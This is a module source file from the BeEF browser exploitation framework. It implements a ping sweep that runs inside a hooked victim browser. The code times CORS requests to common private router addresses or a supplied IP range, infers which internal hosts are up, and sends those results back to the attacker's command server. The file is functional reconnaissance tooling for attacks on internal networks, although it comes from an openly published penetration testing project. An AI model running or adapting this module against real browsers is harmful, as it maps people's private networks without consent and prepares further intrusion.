Path: blob/master/modules/network/ping_sweep/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var ips = new Array();9var rhosts = "<%= @rhosts %>";10var threads = parseInt("<%= @threads %>", 10) || 3;11var timeout = 1000;1213if(!beef.browser.hasCors()) {14beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());15return;16}1718// set target IP addresses19if (rhosts == 'common') {20// use default IPs21ips = [22'192.168.0.1',23'192.168.0.100',24'192.168.0.254',25'192.168.1.1',26'192.168.1.100',27'192.168.1.254',28'10.0.0.1',29'10.1.1.1',30'192.168.2.1',31'192.168.2.254',32'192.168.100.1',33'192.168.100.254',34'192.168.123.1',35'192.168.123.254',36'192.168.10.1',37'192.168.10.254'38];39} else {40// set target IP range41var range = rhosts.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');42if (range == null || range[1] == null) {43beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());44return;45}46ipBounds = rhosts.split('-');47lowerBound = ipBounds[0].split('.')[3];48upperBound = ipBounds[1].split('.')[3];49for (var i = lowerBound; i <= upperBound; i++){50ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i;51ips.push(ipToTest);52}53}5455WorkerQueue = function(frequency) {5657var stack = [];58var timer = null;59var frequency = frequency;60var start_scan = (new Date).getTime();6162this.process = function() {63var item = stack.shift();64eval(item);65if (stack.length === 0) {66clearInterval(timer);67timer = null;68var interval = (new Date).getTime() - start_scan;69beef.debug("[Ping Sweep] Worker queue is complete ["+interval+" ms]");70return;71}72}7374this.queue = function(item) {75stack.push(item);76if (timer === null) timer = setInterval(this.process, frequency);77}7879}8081// create workers82var workers = new Array();83for (w=0; w < threads; w++) workers.push(new WorkerQueue(timeout));8485beef.debug("[Ping Sweep] Starting scan ("+(ips.length)+" URLs / "+threads+" workers)");86for (var i=0; i < ips.length; i++) {87var worker = workers[i % threads];88var ip = ips[i];89// use a high port likely to be closed/filtered (60000 - 65000)90var port = Math.floor(Math.random() * 5000) + 60000;91worker.queue('var start_time = new Date().getTime();' +92'beef.net.cors.request(' +93'"GET", "http://'+ip+':'+port+'/", "", '+timeout+', function(response) {' +94'var current_time = new Date().getTime();' +95'var duration = current_time - start_time;' +96'if (duration < '+timeout+') {' +97'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- host is up");' +98'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.are.status_success());' +99'} else {' +100'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- timeout");' +101'}' +102'});'103);104}105106});107108109110